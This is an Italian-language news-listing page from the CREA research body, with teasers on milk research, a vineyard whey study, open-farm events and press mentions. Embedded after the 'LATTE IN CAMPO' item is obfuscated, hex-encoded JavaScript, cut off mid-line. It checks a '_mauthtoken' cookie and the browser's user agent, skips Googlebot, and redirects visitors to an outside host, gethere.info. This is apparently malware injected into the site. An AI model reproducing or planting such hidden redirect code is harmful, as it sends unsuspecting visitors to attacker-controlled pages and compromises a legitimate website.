Articoli

Ricerca CREA: latte e vite un binomio possibile

Una ricerca del CREA apre nuove possibilità sull'uso del siero di latte come biostimolante in viticoltura ma serviranno maggiori approfondimenti. LEGGI L'ARTICOLO: Dal CREA binomio latte-vite stampa@crea.gov.it

Latte: da società scientifiche e istituzioni nuovo documento di consenso

Andrea Ghiselli, dirigente di ricerca del CREA Alimenti e Nutrizione, è tra gli autori della pubblicazione divulgativa "Il latte vaccino:ruolo nell'alimentazione umana ed effetti sulla salute". Si tratta di un documento di consenso…

Antiossidanti nel latte: premiato studio CREA Alimenti e Nutrizione

Il CREA, con il  Centro  Alimenti e  Nutrizione, è stato premiato in occasione dell’ EuroFIR Food Forum 2016 grazie al poster "An overview of antioxidant properties in heat-treated milk", realizzato  dalle ricercatrici Alessandra…

LATTE IN CAMPO

Sabato 11 giugno  dalle ore 10 presso l'Azienda Agricola Lazzari in località Cà de Alemanni, Malagnino(Cremona) si svolgerà la giornata Open-farm "LATTE in CAMPO". Stampa@crea.gov.itvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==…

Il Crea al convegno Cia Emilia Romagna sul latte biologico

Il 2 febbraio 2016 i ricercatori Giacomo Pirlo del Crea-FLC di Lodi e Monica Guarino Amato del Crea-Zootecnia di Roma, hanno partecipato al convegno "Il latte biologico italiano: analisi del contesto e indicazioni per la crescita",…

Modelli di azienda zootecnica per latte e formaggi d’eccellenza

Modelli di azienda zootecnica per latte e formaggi d’eccellenza – Autori vari - Copyright Regione Lombardia – 2014. Sperimentazione condotta nell’ambito del progetto di ricerca n. 1726: “INDIVIDUAZIONE DI MODELLI DI AZIENDE…

il parere del CRA sui possibili rischi del consumo di latte crudo

il CRA a National Geographic in merito al consumo di latte crudo.   VISUALIZZA LA RASSSEGNA: http://sito.entecra.it/portale/public/documenti/la-guerra-al-latte-crudo.pdf           stampa@crea.gov.it

Fuoriexpo: al CREA di Lodi per scoprire come nascono gli "alti formaggi" lombardi

Come nascono Provolone Valpadana, Taleggio e Salva Cremasco, gli "alti formaggi della tradizione lombarda"? E' possibile scoprirlo Fuoriexpo grazie al CRA - Lattiero-Caseario di Lodi che in collaborazione con "Alti Formaggi" ( l'associazione…

Il CRA ad EXPO 2015 con le ricerche su qualità e genomica

Parlano di noi Ansa, Virgilio Notizie guarda la rassegna http://sito.entecra.it/portale/public/documenti/expo_cra2015.pdf   stampa@crea.gov.it